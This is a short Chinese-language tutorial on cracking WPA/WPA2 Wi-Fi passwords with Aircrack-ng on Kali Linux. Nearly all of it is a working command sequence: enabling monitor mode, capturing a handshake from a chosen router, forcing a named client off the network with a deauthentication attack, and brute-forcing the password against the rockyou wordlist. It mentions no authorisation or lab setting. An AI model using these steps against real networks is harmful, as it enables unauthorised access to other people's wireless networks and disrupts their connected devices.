Kali Linux使用Aircrack破解wifi密码(wpa/wpa2)
字典用的是系统自带的字典
先解压
gzip -d /usr/share/wordlists/rockyou.txt.gz
查看支持监控模式的网卡
airmon-ng
关掉一些进程
airmon-ng check kill
kill 进程的pid
然后打开监控模式
airmon-ng start wlan0
开启监控模式后一般网卡接口名字会变成wlan0mon
查看网络
airodump-ng wlan0mon
当有新用户或断开用户自动连接wifi时，会发送握手包
开始抓包
airodump-ng -c 6 --bssid C8:3A:35:30:3E:C8 -w ~/ wlan0mon
-c指定频道号
–bssid指定路由器bssid
-w指定抓取的数据包保存位置
点开连接攻击
aireplay-ng -0 2 -a C8:3A:35:30:3E:C8 -c B8:E8:56:09:CC:9C wlan0mon
-0表示发起deauthentication攻击
-a指定无线路由器BSSID
-c指定强制断开的设备
结束网卡监控模式
airmon-ng stop wlan0mon
跑包
aircrack-ng -a2 -b C8:3A:35:30:3E:C8 -w /usr/share/wordlists/rockyou.txt ~/*.cap
-a2代表WPA的握手包
-b指定要破解的wifi BSSID。
-w指定字典文件
最后是抓取的包